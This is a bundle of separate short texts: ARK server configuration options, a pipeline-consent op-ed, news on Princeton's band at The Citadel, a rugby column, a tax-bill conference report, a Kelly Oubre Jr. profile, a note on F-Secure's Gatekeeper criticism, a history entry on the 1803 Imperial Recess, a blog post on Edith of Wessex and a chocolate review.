MaxTamedDinos Defines the maximum amount of tamed dinos on the island
MaxNumbersofPlayersInTribe SOTF setting: Defines the maximum player limit per tribe
BattleNumOfTribestoStartGame SOTF setting: Defines how many tribes must have been created before the countdown for game start begins
TimeToCollapseROD SOTF setting: Defines the time period for the force field to collapse
BattleAutoStartGameInterval SOTF setting: Defines the length of the countdown before match begins
BattleSuddenDeathInterval SOTF setting: Defines the time before sudden death starts
KickIdlePlayersPeriod Time period until an idling player will be kicked from server
PerPlatformMaxStructuresMultiplier Defines the multiplicator for structures on saddle plattforms (Please use with caution - too high values may lead to a massive lack of performance)
StructureDamageRepairCooldown Defines the cooldown time when a previously damaged structure can be repaired again. (0 allows the structure to be always repaired)
bForceAllStructureLocking Server Option to allow Locking All Item Containers
AutoDestroyOldStructuresMultiplier Server Option to allow Auto-Destroying Structures after sufficient \\\\\\\"no nearby Tribe\\\\\\\" time has passed (defined as a multiplier of the Allow Claim period)
bUseVSync Deactivates the VSync setting (can reduce GPU problems in some cases)
MaxPlatformSaddleStructureLimit Defines the maximum number of structures on top of the saddle platform
bPassiveDefensesDamageRiderlessDinos Wild dinos or dinos without a rider can take damage from defense structures like spikewalls if this setting is activated
RCONPort Under which port RCON should be available?
AutoSavePeriodMinutes After which time period (in minutes) the server should auto-save the game? (Hint: A more frequent interval may lead some lags)
RCONServerGameLogBuffer How many chat lines should be available in RCON?
OverrideStructurePlatformPrevention Determines if turrets are allowed on moving platforms or not. Yes will prevent it. No will allow it
PreventOfflinePvPInterval Defines the time period of being offline so that a player will be really considered as being offline.
bPvPDinoDecay Determines if dinos of a player/tribe are also protected in the activated offline raid protection
bPvPStructureDecay Determines if structures of a player/tribe are also protected in the activated offline raid protection
DisableImprintDinoBuff Deactivates (no) the bonus stats for a dino if you raise the baby by yourself
AllowAnyoneBabyImprintCuddle Allows everybody to kuddle with the dino baby
EnableExtraStructurePreventionVolumes Prevents the building of structures on places which are rich of resources
ShowFloatingDamageText Shows dealt damages in a RPG style
DestroyUnconnectedWaterPipes If active, it will destroy the pipes automatically after two real-time days, if unconnected to any non-pipe (directly or indirectly) and no allied player is nearby.
OverrideOfficialDifficulty Overwrites the difficulty settings
TheMaxStructuresInRange New value for the maximum allowed structures nearby
MinimumDinoReuploadInterval Number of seconds cooldown between allowed Dino re-uploads (defaults to 0, set to 43200 on Official Servers which is 12 hours). Remaining cooldown time is displayed on the Dino Upload UI.
PvEAllowStructuresAtSupplyDrops Use "true" if you want to allow being able to build structures nearby supply drop. "false" will disable it.
NPCNetworkStasisRangeScalePlayerCountStart a new Wild NPC Stasis Range scaling-for-player-count option to scale server performance for more players
NPCNetworkStasisRangeScalePlayerCountEnd a new Wild NPC Stasis Range scaling-for-player-count option to scale server performance for more players
NPCNetworkStasisRangeScalePercentEnd a new Wild NPC Stasis Range scaling-for-player-count option to scale server performance for more players
MaxPersonalTamedDinos Quantity of dinos that a tribe is allowed to have (Default on official PVE servers is 500)
AutoDestroyDecayedDinos Option to auto-destroy claimable decayed dinos on load, rather than have them remain around as claimable. Official PvE servers now have this enabled.
ClampItemSpoilingTimes Will clamp all spoiling times to the items' maximum spoiling times. Useful if any infinite-spoiling exploits were used on the server and you wish to clean them up. Could potentially cause issues with Mods that alter spoiling time, hence it is an option.
UseOptimizedHarvestingHealth Server custom "HarvestAmountMultiplier" now works as it used to, to bias towards yielding rarer items. This is more costly for server performance, so if you want a more "optimized" server with high HarvestAmountMultiplier (but less rare items), you can launch with "yes" in this setting here.
AllowCrateSpawnsOnTopOfStructures Servers can now allow from-the-air Supply Crates to appear on top of Structures, rather than being prevented by Structures. Enabled on Official Servers.
ForceFlyerExplosives Made all Flyers except for Quetz and Wyvern become 'grounded' if you put a C4 on them. To disable this behavior, launch server with "yes"
PreventOfflinePvP Enables ORP on PVE/PVP servers if set to "yes"
AllowFlyingStaminaRecovery Flyer Nerf (to allow server to recover Stamina when standing on a Flyer, run with "yes"
AllowMultipleAttachedC4 Limited one C4 attached per dino, unless you choose "yes" to allow more than one C4
OxygenSwimSpeedStatMultiplier Use this to set how swim speed is multiplied by level spent in oxygen.
bPvEDisableFriendlyFire When using "yes", you are now able to harvest a slaughtered Ovis.
ServerAutoForceRespawnWildDinosInterval This will force respawns of dinos on servers to prevent certain dino types (like the Basilo and Spino) from becoming depopulated on long running servers. Specify a value in seconds (86400 means a forced respawn after one day (realtime) for example)
DisableWeatherFog Server option to disable fog.
RandomSupplyCratePoints Server Option to make Supply Crates random
CrossARKAllowForeignDinoDownloads This allows you to download Non-Aberration Dinos on Aberration
PersonalTamedDinosSaddleStructureCost Defines how many tame slots are being used by a saddle platform (with structures) - Default: 19
[/script/engine.gamesession]
MaxPlayers Specifies the maximum number of players that can play on the server simultaneously.
[SessionSettings]
SessionName Name of your server
[MessageOfTheDay]
Duration Specifies the duration of the welcome message
Message Defines a welcome message |
Recently, representatives from the Omaha Tribe, Winnebago Tribe of Nebraska, Nez Perce, Choctaw Nation, Ponca Tribe of Nebraska, Ponka Tribe of Oklahoma signed the Treaty Alliance Against Tar Sands Expansion.
Greenpeace Canada
The Treaty Alliance Against Tar Sands Expansion is an "expression of Indigenous Law prohibiting the pipelines/trains/tankers that will feed the expansion of the Alberta Tar Sands" through the territorial lands and waters of the signatories.
The tribes and nations that signed the historic accord recently now join over 150 nations and tribes that have endorsed the treaty.
They stand together in a fierce wall of opposition.
"Along with our Indigenous allies all along the KXL route like the Oceti Sakowin (Great Sioux Nation) and all over Turtle Island (North America), we recognize the grave dangers in allowing this 'Black Snake' to enter our homelands," said Chairman Larry Wright Jr. of the Ponca Tribe of Nebraska. "As the State of Nebraska stands poised to make a potentially life-altering decision about permitting this poisonous bitumen to be inflicted on its population, we stand poised to protect all life now and in the future."
The treaty is an assertion of Indigenous law and a clear statement that tar sands pipelines (Keystone XL, Line 3, Trans Mountain, and Energy East) do not have the consent of all the nations and tribes whose lands and waters they seek to cross.
Bloomberg via Getty Images Handmade anti-pipeline signs are seen on the side of a road in the First Nations village of Old Massett, B.C., on Aug. 25, 2016.
One of the primary rights enshrined in the U.N. Declaration on the Rights of Indigenous Peoples (UNDRIP) — which the prime minister of Canada, premier of Alberta and premier of British Columbia all claim to support and want implemented into law — is the right to Free, Prior and Informed Consent (FPIC).
Taken on its own, the term consent is a pretty straightforward one. Google dictionary defines consent as both a noun and a verb:
noun 1. permission for something to happen or agreement to do something.
"No change may be made without the consent of all the partners."
verb 1. give permission for something to happen.
"He consented to a search by a detective."
Reading these everyday definitions, it becomes clear at very basic level that none of the four proposed tar sands pipelines (KXL, Trans Mountain, Line 3 or Energy East) have the consent of all the nations and tribes that any of pipelines would pass through.
Governments and companies have a history of making decisions that impact Indigenous communities without their permission.
But, it's also important to take the other parts of FPIC into considerations.
For consent to be "free" it must be given without pressure, coercion or fear or repercussions. For consent to be "prior" it must be given prior to resource development and official approval of such development. For consent to be "informed" communities must be given all information needed to make a decision that is in their best interests; this includes not only logistical and financial information, but information on the environmental and social considerations of a project in an accessible and digestible format and language.
Paying lip service to UNDRIP will only get us so far. Any leader who supports the adoption of UNDRIP from international to national law must support FPIC. Any leader that wishes to uphold their commitments to Indigenous peoples and UNDRIP therefore cannot support any of the four tar sands pipelines that violate this foundational right to consent or the tenets of free, prior and informed consent.
Treaty Alliance Against Tarsands Expansion
It may not be a popular opinion for those seeking to win the influence of the oil industry or votes among its workers, but it's a necessary step in the path to reconciliation.
From colonization, to residential schools, to pipeline approvals, governments and companies have a history of making decisions that impact Indigenous communities without their permission. This practice needs to end before true healing can begin. Governments can't build the trust and relationships essential to reconciliation until they begin to truly respect the voices and rights of Indigenous Peoples, and start living up to the commitments they have already made to the First Peoples of these lands.
Over 150 nations and tribes have made it clear that they do not consent to tar sands pipelines.
It's time we listened.
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In a clash of cultures that threatened to spiral into bloodshed, the Princeton University band received a harsh welcome from offended cadets at the Charleston, S.C., military college when the two schools' football teams squared off for the first time over the weekend.
The band's president, Princeton senior Alex Barnard, said some 80 over-aggressive cadets roughed up two people, broke a clarinet, stole members' hats and cursed the band when it inadvertently marched along the "Avenue of Remembrance," a campus street that honors The Citadel's war dead.
Later, as the band performed its unusual routine during the halftime show, the crowd of 13,000 booed relentlessly, chanting "Go home, Princeton" and shouting profanities and anti-homosexual slurs. Several videos of the display have made it onto YouTube.
After the show, a group of cadets again gathered around the band members, reducing some to tears before police intervened, Barnard said.
"Thirty cadets had surrounded us in the stands and were screaming in our faces," said Barnard, a 21-year-old sociology major from Flagstaff, Ariz., today.
The incident prompted a pseudo-apology from The Citadel's president, retired Air Force Lt. Gen. John W. Rosa. In a statement, Rosa said the school, one of the nation's top military colleges, "must hold cadets to a higher standard."
"We will use this episode as a learning experience to reinforce with cadets that they are representatives of The Citadel, and that their behavior redounds to the reputation of the college," Rosa said.
There was less contrition from the local media. One columnist for the Post and Courier of Charleston wrote that the cadets "should be given a medal for standing up for their school" and that the Princeton band should be "ashamed."
"All those pseudo-intellectuals and not a single brain among them," the columnist concluded.
Princeton's administration is standing by the band, saying it worked with The Citadel long before the game to ensure nothing would be offensive.
"They met every request that The Citadel required," Princeton spokeswoman Cass Cliatt said.
Princeton's band is a "scramble band," so named because members frequently break ranks from a traditional march and rush around the field. Members wear bright orange jackets and sometimes play instruments fashioned out of unusual objects, from toilet seats to car mufflers.
During halftime shows, announcers read scripts that satirize and poke fun. There are fewer than a dozen such bands in the country, and most of those are in the Ivy League, according to the Princeton band's website.
"We're all about fun," Barnard said. "We're pretty non-threatening. We intend to look silly."
Barnard said he expected "southern hospitality" at The Citadel but was conscious of the school's reputation for seriousness. As a result, he said, he made sure the halftime script was approved by Citadel administrators.
But he was unprepared for the problems before the Saturday afternoon game.
Barnard said the 43 band members who made the 12-hour bus trip to Charleston didn't know they were treading on revered ground when they walked up the Avenue of Remembrance.
Witnesses to the fracas told The Post and Courier that band members appeared to be making fun of cadets with buffoonish salutes as they exercised on a drill field. Infuriated cadets surrounded the band, shouting and getting physical, Barnard said.
One Princeton student was shoved from behind. Another was pushed into a tree, Barnard said. Several female band members were spit on, he said.
The issue appeared to be resolved when senior officers ordered the cadets to stand down, but problems flared again during the halftime show, in which a band announcer cracked jokes about vice presidential candidates Sarah Palin and Joe Biden and made seemingly mild references to the differences between the two schools.
"At The Citadel, a tour involves one hour of forced marching; at Princeton, it involves enjoying beverages at every eating club," one joke went.
Barnard said a couple of band members took the on-field hijinks too far -- two students were seen grinding against each other -- but that the band as a whole behaved well and performed the "tamest" halftime show of his four years at Princeton.
The Citadel's football team won the game, 37-24. The two teams meet again at Princeton next fall.
"We plan on showing them a good time," Barnard said. |
Springboks coach Heyneke Meyer and All Blacks boss Steve Hansen after last year's test at Ellis Park. The pair had dinner in Johannesburg this week.
Steve Hansen had a dinner date in Johannesburg this week.
Hansen, as has been his habit in recent times, met with Springboks counterpart Heyneke Meyer - or "H" as he likes to call him - to have a quiet graze and discuss life inside and outside the rugby bubble.
In a bygone era the concept of dining with an opposition coach before a test at Ellis Park would have untenable. Not under Hansen.
He says that is what sport is about; enjoying your mate's company, trying to out-wit him for 80 minutes and then shaking his mitt, grabbing a club sandwich and uncapping a beer with him afterwards.
Which brings us to the debate about which coach should be avoided if there's a dispute about who picks up the restaurant tab.
TV footage of Meyer's mad excitement in the coach's box suggests he could blow-up if he feels he is being ripped-off. Hansen, too, can be a strong-willed chap. Don't expect him to roll over if a freeloader tanks-up on expensive wine and then tries to slip out the back door.
Former Blues coach Sir John Kirwan's halftime explosions have earned him a reputation and Black Ferns coach Greg Smith could be a bit excitable, given recent reports about him erupting at a club match in the Waikato. You could rattle out a long list of Frenchies, but let's not bother.
Our vote goes to the Wallabies' fiery Michael Cheika. Few can kick-off like the volatile Sydneysider. When he goes off, it's TNT time.
***
Meyer has had a funny old week.
During a press conference to reveal Schalk Burger as his new captain the power went out. The next day, when he was discussing the selections of his side in the garden of his team's hotel, an advertising screen toppled over in the wind and fell on his head. He copped it sweet and uttered something along the lines of "I hope someone's not trying to tell me something".
Well, it wasn't Heinrich Brussow. At last, after almost four years of being ignored by Meyer, he has been selected to start against the All Blacks. And he has a perfect record; four wins from four outings against the boys in black.
***
Talking of hotels, the Springboks' digs at the Montecasino "leisure and entertainment centre" in Jo'burg were a beaut. Montecasino, which covers 26 hectares and is designed to replicate an ancient Italian village, is where those with a disposable income come to gamble, eat well and stare at the expensive European cars in front of the expensive hotels.
The Boks' hotel, which looked had been transported straight out of a Tuscan setting, was surrounded by manicured hedges, lawns and a pool with massive carp swimming inside it. As their forwards practiced their lineout moves, pink flamingos strutted around in the background and water fountains tinkled quietly.
Gone are the days when touring teams would find a quiet section of the car park, sweep aside the cigarette butts and wolf whistle at the paint job of a fancy Holden HQ haphazardly parked in front of the local lounge bar.
***
Dane Coles rolls casually and we like it. With his patchy stubble and close-cropped haircut you could imagine him swapping jokes with the boys at the local trucking firm or on a building site. No cliches with the good-natured Coles, who tells it as he sees it and with a smile on his mug.
He also gave South African media plenty to hoot about when he mistakenly called Eben Etzebeth "Elizabeth".
Rather than get all precious, Coles could laugh at himself. No blushes or staring silently at the ceiling with this joker.
And then he tried to throw his good mate James Broadhurst under the bus. He intimated that if Etzebeth takes offence by his error he can take his frustrations out on the test debutant Broadhurst. |
The Senate’s narrow margin on the tax overhaul provides it with some leverage in conference negotiations with the House. (Bill Clark/CQ Roll Call)
The Senate’s passage of a tax overhaul illustrated a fragile coalition of support that ironically provides the chamber with the upper hand headed into conference committee negotiations with the House.
House Republicans wanted a conference process on the two chambers’ differing tax bills to prevent the House from getting jammed by the Senate, as they acknowledge has happened frequently on major bills.
But some members realize that a conference committee may still result in a final product that tracks more with Senate priorities given the thin margin of support in that chamber.
Senate passage came after days of negotiations in which several Senate Republican holdouts were offered significant concessions to secure their votes, with some changes designed just to appease a single senator.
“You have senators over there negotiating 400 billion things. That’s why people want to be in the Senate, not in the House,” Pennsylvania GOP Rep. Ryan A. Costello said, acknowledging that the Senate “absolutely” has the upper hand heading into conference.
Senate Majority Leader Mitch McConnell said Friday he expects negotiations to go smoothly.
“We’ve moved our initial thinking on this in the direction of the House bill, for example the property tax deduction, in order to get the bills closer together than they were,” the Kentucky Republican said. “I’m not saying the conference will be a piece of cake, but I don’t think there’s much chance we won’t be able to reconcile our differences and move forward.”
While Costello is not as adamant about the procedural argument for going to conference as other members, he said he supports it “on the basis that we need all members to feel that their opinion matters.”
“And if you’re just going to eat a Senate bill, then the only reason that we passed our first tax bill was to force the Senate to act,” the member of the moderate Tuesday Group added.
Another Pennsylvania Republican from the opposite end of the political spectrum, Freedom Caucus member Scott Perry, also acknowledged the power the Senate holds.
“Could we get jammed? Yes,” he said. “Does this member have confidence that we’re going to get concessions, meaningful concessions, from the Senate? Likely not.”
All for show?
Perry also suggested that a conference committee likely won’t be holding a ton of formal meetings to hash out their agreement.
“When you say ‘conference,’ people have in their mind something where everybody sits around the table and talks about different things, works out [differences],” he said. “That could be what it looks like, but I suspect it won’t look like that.”
House Ways and Means ranking member Richard E. Neal also suggested the conference committee will likely only meet for show. The Massachusetts Democrat said he has “relatively low expectations” and it’s likely the Republicans will have most everything done before the committee even has its first meeting. Nonetheless, he said Democrats should still name conferees.
The House is scheduled to vote Monday on a motion to go to conference on the tax bill. Republican leaders added the legislative day to the schedule to get the conference process moving.
More votes to spare
House Republicans have more votes to spare than Senate Republicans in terms of passing a final measure or conference report.
Assuming all Democrats remain opposed to the measure, the Senate can lose just two GOP votes — with Vice President Mike Pence casting a tie-breaking vote — but the House can lose 22.
Only 13 Republicans voted against the tax bill the House passed Nov. 16. Of those “no” votes, 12 came from members from the high-tax states of New York, New Jersey and California over concerns about the partial elimination of the state and local tax deduction, also known as SALT.
GOP leaders are working on a proposal to partially restore the deduction for state and local income taxes, which is fully repealed in both chambers’ bills, to address the concerns of California Republicans. But the Senate would have to agree to that in conference.
That’s just one of many issues the two chambers will have to tackle. Other House priorities include eliminating expiration dates for tax cuts for individuals, fully repealing the estate tax and maintaining the corporate rate at no higher than 20 percent.
“When that conference report comes back, both chambers equally have to be able to support it in a good strong way,” House Ways and Means Chairman Kevin Brady told Roll Call when asked if the Senate has the advantage because they have fewer votes to spare.
The Texas Republican said he’s “not satisfied yet with the House or the Senate version” of the tax overhaul and he’s expecting improvements to be made in conference.
“My goal is, pick the best of both, and in some ways do better than both,” he said. “I think we’ve learned from the process what’s important, what’s really hitting the targets we want from a pro-growth and a simplification standpoint and what not yet has done that.”
Bad blood
House Republicans have no shortage of complaints about the Senate. And while they personally like many of their colleagues across the Rotunda there’s clearly some bad blood resulting from institutional power dynamics.
“We do our work, we take the hard votes,” Freedom Caucus member Dave Brat said, expressing his frustration that the Senate has the upper hand in the tax negotiations, as they have had in other legislative matters.
The Virginia Republican’s frustration is shared widely across the GOP conference and has also been expressed recently in regard to the Senate not passing any appropriations bills after the House passed a 12-bill omnibus in September.
House Republicans’ grievances with the Senate reached a boiling point this year amid the Senate’s failure to pass a health care overhaul.
“When you’ve got three or four senators that have the history of what they did with the health care bill, that’s a problem,” Texas GOP Rep. Randy Weber said.
On whether the Senate will exercise a heavy hand in the tax negotiations, the Freedom Caucus member said, “I don’t know what they’re predisposed toward.”
Many other lawmakers also said they couldn’t predict what will come out of conference when asked about the prospect that the Senate could effectively jam the House because of its fragile vote coalition.
“This is new for a lot of the members, as far as we’ve actually got something come back from conference,” Republican Study Committee Chairman Mark Walker of North Carolina said. “We know what’s important to us in the House. How much of that [we get] would be pure speculation on my part.”
Rep. John Katko, co-chairman of the Tuesday Group, said he is hopeful the House will be able to secure its priorities in conference, noting, “There’s a lot in the Senate bill that concerns me, especially for my constituents.”
The New York Republican said the more the final bill resembles the House measure over the Senate version the better.
As to whether the House position can prevail given the fluidity among Senate Republicans, Katko said, “That’s a very good question. I’m hopeful. If we want to get it done, it’s going to have to happen.”
Tax writers optimistic
While some rank-and-file Republicans are skeptical about the conference process, GOP tax writers were more confident.
“For the first time since I’ve been here, the House is better organized and in a stronger position to advance its objectives,” said Ways and Means member Carlos Curbelo, currently in his second term.
Asked why he believes that, the Florida Republican said, “No. 1, I think our product is better for the most part, even though there are some elements of the Senate bill that I prefer. We’ve also built our coalition in a very competent manner with no drama. Senators know, for example, that we have firm commitments to our [state and local tax] colleagues, colleagues from higher-tax states. So I really feel momentum on the House side.”
Rep. Jackie Walorski, another tax writer, said she is “completely optimistic” the House GOP will be able to secure its priorities, saying the motivation and focus has not wavered.
“There’s nothing good-looking about the process,” the Indiana Republican said. “But the process works.”
Niels Lesniewski contributed to this report. |
LAS VEGAS -- Kelly Oubre Jr. was in demand Sunday, after his second summer league appearance for the Washington Wizards, and if it were up to him, the 19-year-old would happily oblige every microphone and camera thrust in front of him.
Oubre made headlines early in his pro career because of that confidence. It started on draft night, when Oubre, who had already turned heads with a shimmering maroon blazer and diamond-studded Christian Louboutin shoes, declared after being selected at No. 15 that whatever team got him was “getting a jewel.”
Later, once the Wizards finalized the trade that delivered Oubre’s draft rights in exchange for the No. 19 pick and two second-round picks, he was asked about his expectations for the night.
“My expectation was to go top 10,” Oubre said. "It doesn't work out like that for everybody, but I still feel like I'm one of the best players in this draft.”
In Vegas, he has started the process of trying to back up those words. Oubre scored 18 points on 5-of-17 shooting while grabbing eight rebounds over 32 minutes in Washington’s 94-74 loss to the D-League Select squad Sunday at Cox Pavilion on the UNLV campus.
Despite some efficiency struggles coming off a glitzier, 20-point, 10-rebound performance Friday in his pro debut against the Suns, Oubre’s confidence never wavered while he was prodded about his shooting woes.
He refused to make excuses, even when given the option to blame his 0-for-5 3-point performance on a deeper line at the NBA level.
“No, no, no,” Oubre said. He quickly pointed to his fundamentals and how he needs to remember not to rush. By the end of the answer, the confidence had muscled its way back in.
"I know I can shoot,” Oubre said. "I have 100 percent confidence in my shot.”
Most 19-year-olds are not this self-assured. That’s why a reporter wanted to know where Oubre's confidence comes from.
“Just knowing what I can do,” he said. "And hard work -- I work my butt off.”
Oubre is no stranger to adversity. Born in New Orleans, he was forced to relocate to Texas at age 9 in the aftermath of Hurricane Katrina.
“My dad just decided he was going to keep me in Houston because they had better resources,” Oubre said on draft night. "By him doing that, that was another sacrifice. He left his job, and we went through a little struggle through a point of time where we were living in hotels and cars. If it weren't for that time -- long story short -- I wouldn't be here today because that put a chip on my shoulder, and it allowed me to realize that everything that I've ever loved and had could be gone in a split second.
"My family was moved around. I didn't see my mom for about two months. My little brother was a baby. He was just born a couple years before [the hurricane]. That time was pretty hectic in my life, and my parents had divorced, so by them being split up, we went separate paths. I thought I lost [my family]. I didn't hear from them for a week or so. I always think about that on the court. That's what gives me my drive to want to be the best that I can be.
"I've always felt like I've been slept on, and I'm ready to wake people up. I'm motivated, and I'm a worker, and I want to be the best that I can be at this next level."
Oubre drew attention Friday with his big numbers and gold Nikes. On Sunday, he was a bit more discreet, including with his basic, white sneakers.
He is undeniably athletic and makes things look easy on the floor. Despite an obvious need to bulk up, he is able to attack the basket and will finish in traffic more as he gets stronger.
"I have the light frame,” Oubre said. "Everybody knows that. Everybody can see that. But I’m not weak. I can bang. A lot of guys are trying me, but they’re going to be pretty surprised on how strong I am.”
There’s a belief that he can be an impact defender, given his 7-foot-2 wingspan, but Oubre is going to have to work to carve out a role on a Wizards team that won 46 games and was the fifth seed in the Eastern Conference the previous season.
The departure of Paul Pierce could open doors to more playing time. Oubre thinks he can earn that opportunity and pair well with Washington’s young backcourt.
"I definitely feel like I can learn from [John Wall and Bradley Beal], play with them, and we can be successful together,” Oubre said. "By me doing so, coming in, I feel like I bring a lot to the team, I bring a lot to the table, and I'm just ready to get to work and help this team win.”
As usual, he has never sounded more confident. |
Gatekeeper is the new security feature introduced by Apple for the new (Mac) OS X update known as Mountain Lion. The idea is to enforce security for downloaded applications when users try to install them on their Apple PCs, but some critics described the feature as the beginning of the end for the user’s proper ownership of the OS behaviour and functionality on Apple machines.
Pretty ironically, this somewhat harsh criticism comes from a company working in the security field – the same one Apple is trying to cover more than ever within its latest consumer (and consumption) oriented products: on its corporate blog, Finnish antivirus company F-Secure dissects Gatekeeper and exposes some interesting findings about it.
The new OS X security feature restricts installation of Mac “apps” based on their sources, F-Secure explains, allowing applications downloaded “from Mac App Store”, “Mac App Store and identified developers” or “Anywhere”.
Under the new Gatekeeper regime, F-Secure states, Mac software developers will be pushed to sign with Apple ($99 per year) “to reduce friction”. And even if the user allowed installations of software downloaded “Anywhere”, The Developer ID program suggests that Gatekeeper could complain about the install operation anyway.
According to F-Secure, Gatekeeper is beginning “to solidify Mac’s walled garden”: “In the future – the F-Secure blog states – when Apple decides to further close its platform, device drivers could also be required to use Apple Developer IDs. Apple is famous for its focus on user experience, and it isn’t really very difficult to imagine it revoking third-party peripheral drivers in order to ‘secure’ that experience”.
Gatekeeper isn’t as much about more control “for” you, F-Secure concludes, as "more control – over – you". |
The Reichsdeputationshauptschluss (formally the Hauptschluss der außerordentlichen Reichsdeputation, or "Principal Conclusion of the Extraordinary Imperial Delegation"[1]), sometimes referred to in English as the Final Recess or the Imperial Recess of 1803, was a resolution passed by the Reichstag (Imperial Diet) of the Holy Roman Empire on 24 March 1803. It was ratified by the Emperor Francis II and became law on 27 April. It proved to be the last significant law enacted by the Empire before its dissolution in 1806.[2][3]
The resolution was approved by an Imperial Delegation (Reichsdeputation) on 25 February and submitted to the Reichstag for acceptance. It was based on a plan agreed in June 1802 between France and Russia, and broad principles outlined in the Treaty of Lunéville of 1801. The law secularized nearly 70 ecclesiastical states and abolished 45 imperial cities to compensate numerous German princes for territories to the west of the Rhine that had been annexed by France as a result of the French Revolutionary Wars.
Secularization and mediatization [ edit ]
The secularized ecclesiastical states (prince-bishoprics, prince-priories, prince-abbeys and imperial abbeys) were generally annexed to neighbouring secular principalities, with several of the abbeys being given as secular fiefs to those small princes who had lost their estates west of the Rhine. Only three ecclesiastical states survived as non-secular states: the Archbishopric of Regensburg, which was raised from a bishopric with the incorporation of part of the Archbishopric of Mainz, and the lands of the Teutonic Knights and Knights of Saint John. Also of note is the former Archbishopric of Salzburg, which was secularized as a duchy with an increased territorial scope, and was also made an electorate.
In addition, all but a handful of the 51 imperial cities were abolished and annexed to neighboring states.
The Reichsdeputationshauptschluss was ratified unanimously by the Reichstag in March 1803, and was approved by the emperor, Francis II, the following month. However the emperor made a formal reservation in respect of the reallocation of votes within the Reichstag, as the balance between Protestant and Catholic states had been shifted heavily in the former's favour.
Consequences [ edit ]
Following the Reichsdeputationshauptschluss, altogether 112 Imperial states, totaling 10,000 square kilometres, and a population of over three million people changed hands.[4] A number of the larger states made significant territorial gains (most notably Baden, Württemberg, Bavaria and Prussia), and Baden, Hesse-Kassel, and Württemberg gained status by being made electorates (to replace three that had been lost in the changes). Of the imperial cities, only Augsburg, Bremen, Frankfurt am Main, Hamburg, Lübeck, and Nuremberg survived as independent entities. The Transrhenanische Sustentationskommission was set up by the Imperial Diet to arrange the compensation of those princes whose territories had been ceded to France. It continued to operate down to at least 1820 (after the Empire's demise) and its archives are today kept in the German Federal Archives.[5]
The principle that allies of Napoleon could expect to make gains in both territory and status was also established, and was to be repeated on a number of occasions, above all in 1806 when, at the time of the establishment of the Confederation of the Rhine, over 80 small and mid-size secular states (such as principalities and imperial counties) were mediatized and annexed to some of the member states of the new Confederation.[6] These massive territorial and institutional upheavals were to bring about the dissolution of the Empire in the course of the same year. |
Edith was a common name in Anglo-Saxon England, and it’s hard to keep them all straight. You are more likely to see this name spelled Ealdgyth, Editha, Aldgyth, Eddeva, Aldyth, Eadgyth, Edyth…I’m sure I missed a few. I like to think of her as Edith Godwindottir, but she is rarely found under that name. Why Edith of Wessex? She was Queen of England, not Wessex. She did not belong to the House of Wessex like her husband Edward the Confessor. Since her father was first Earl of Wessex, I suppose that is why the name stuck, though I do find it puzzling.
I also find it ironic that one our primary sources of the period, the Life of King Edward who rests at Westminster was commissioned by Edith herself (admittedly called a work of propaganda), and yet she’s been largely overlooked in favor of her illustrious brother Harold II. Try finding any artwork about her; oh yes, there is one memorable depiction of Edith warming Edward’s feet on his deathbed in the Bayeux Tapestry. If you look really hard you can see a female figure. There’s another depiction of her in a MS illum. next to her husband. But that’s about it. Nonetheless, according to Wikipedia, at the time of her husband’s death she was the wealthiest woman in England and the fourth wealthiest person in England after the King, Archbishop Stigand, and her brother Harold. Of course, by the time William was through with her, I imagine some of that great wealth had dissipated.
As was natural for a noble-born daughter, Edith didn’t have any say in her marriage plans. She was a very important pawn in her father’s ambitions, and I imagine Godwine didn’t even consider that she would object to becoming queen of England. But King Edward was at least 20 years older than her, and it seems to be common knowledge that he wasn’t terribly friendly toward her father. It’s pretty clear that Edward held Godwine responsible for the violent death of his brother Alfred, no matter how much the Earl protested his innocence. I wonder who was more unwilling: the bride or the groom?
So what kind of marriage did Edward and Edith have? It is thought by some that Edith commissioned Edward’s Life as an attempt to save face concerning her barren marriage. After all, a woman was always held responsible for a lack of children, and England’s fate relied on her. If she could portray Edward as too saintly to be anything but celibate, then she was off the hook. Was this really the case? Or did Edward find her guilt-by-association too much to overcome? Did they ever consummate the marriage? Or was one of them merely infertile? Hmm, one of the great mysteries of the eleventh century.
One thing is for sure: once Earl Godwine was sent into exile in 1051, poor Edith was trundled off to a nunnery at the earliest opportunity. It is said that if Archbishop Robert of Jumieges had his way, Edward would have annulled his marriage. But the King stopped short of this; perhaps he feared the consequences. On Godwine’s return, Edith was reinstalled as well, and for the rest of his reign she was treated with respect. On his deathbed, Edward said she had always been like a loving and dutiful daughter. Of course, those could have been her propagandist’s words, but they do put some distance between man and wife.
Edith does seem to have a reputation as a well-educated woman, speaking many languages; she made sure Edward’s appearance was always exquisite, outfitting him with fine accessories and jewels. She is also thought to be demanding and possibly ruthless; there was an assassination at the Christmas Court in 1064 which has been pinned on Edith, who allegedly ordered the murder of a certain Gospatric (or Cospatric) as a favor to Tostig, her closest brother. It must have been difficult for her to be sidelined after Edward died, but in those challenging times maybe it wasn’t such a bad thing to fade into the background. At first Harold treated her as befit her station, then after the conquest William pretty much left her alone, provided she didn’t make any trouble for him. William even buried her in Westminster Abbey beside her husband. In the end it could be said that she fared better than her more illustrious siblings. |
Here we have the Gubor Winter Apfel, which I discovered on a shopping trip to TK Maxx recently. They sell an array of interesting European chocolates there but this caught my eye as it looks similar to Terry's Chocolate Orange . But because of the name "Winter Apfel" I thought it might be apple flavoured. How cool would that be?! Unfortunately, it isn't. Boo hoo! In reality it is "Finest milk chocolate with hazelnut and gingerbread flavour" in the shape of an apple, and is made by German company Gubor
I loved the presentation of this. It comes in a little box similar to chocolate orange, but once opened it fans out:Looks cool, huh? It also has a little "apple leaf" decoration in the top of the "apple". For some reason this brought out the kid in me, I love novelty stuff like this! :)When I removed the wrapper I found this isn't a "solid" chocolate that needs slamming on a hard surface to break it up, like with Chocolate Orange. Instead it comes in individually separated pieces:The word "Gubor" and some little stars are imprinted onto each piece, adding to the special feel of the product. You get the sense that Gubor have put a lot of care and attention into the Winter Apfel.Onto the taste then. The chocolate is smooth and creamy and melts very easily in the mouth, which reminds me a bit of Lindt Extra Creamy. However, I wasn't too impressed with the flavour. It tasted almost exactly like Lebkuchen biscuits, which I have never really liked. Strong notes of ginger dominated the chocolate, which personally I found a bit sickly. I couldn't detect any hazelnut.This Winter Apfel set me back £2.99 at Tk Maxx which isn't cheap, but if like me you love novelty products I'm sure you'd love these. There was a chocolate and orange version which I wish I had picked up too - I'm sure it would've been more to my taste. Hopefully they're still around and reduced in price in the new year.Overall I would say this is an excellent product, both quality and novelty-wise, and would surely bring a smile to any scrooges face! Personally I would opt for the orange version next time. Now, if only they did an actual *apple* flavoured version...Have you tried the Winter Apfel before? If so what did you think? |
A new survey from YouGov finds that millennials have more favorable views of socialism than of capitalism.
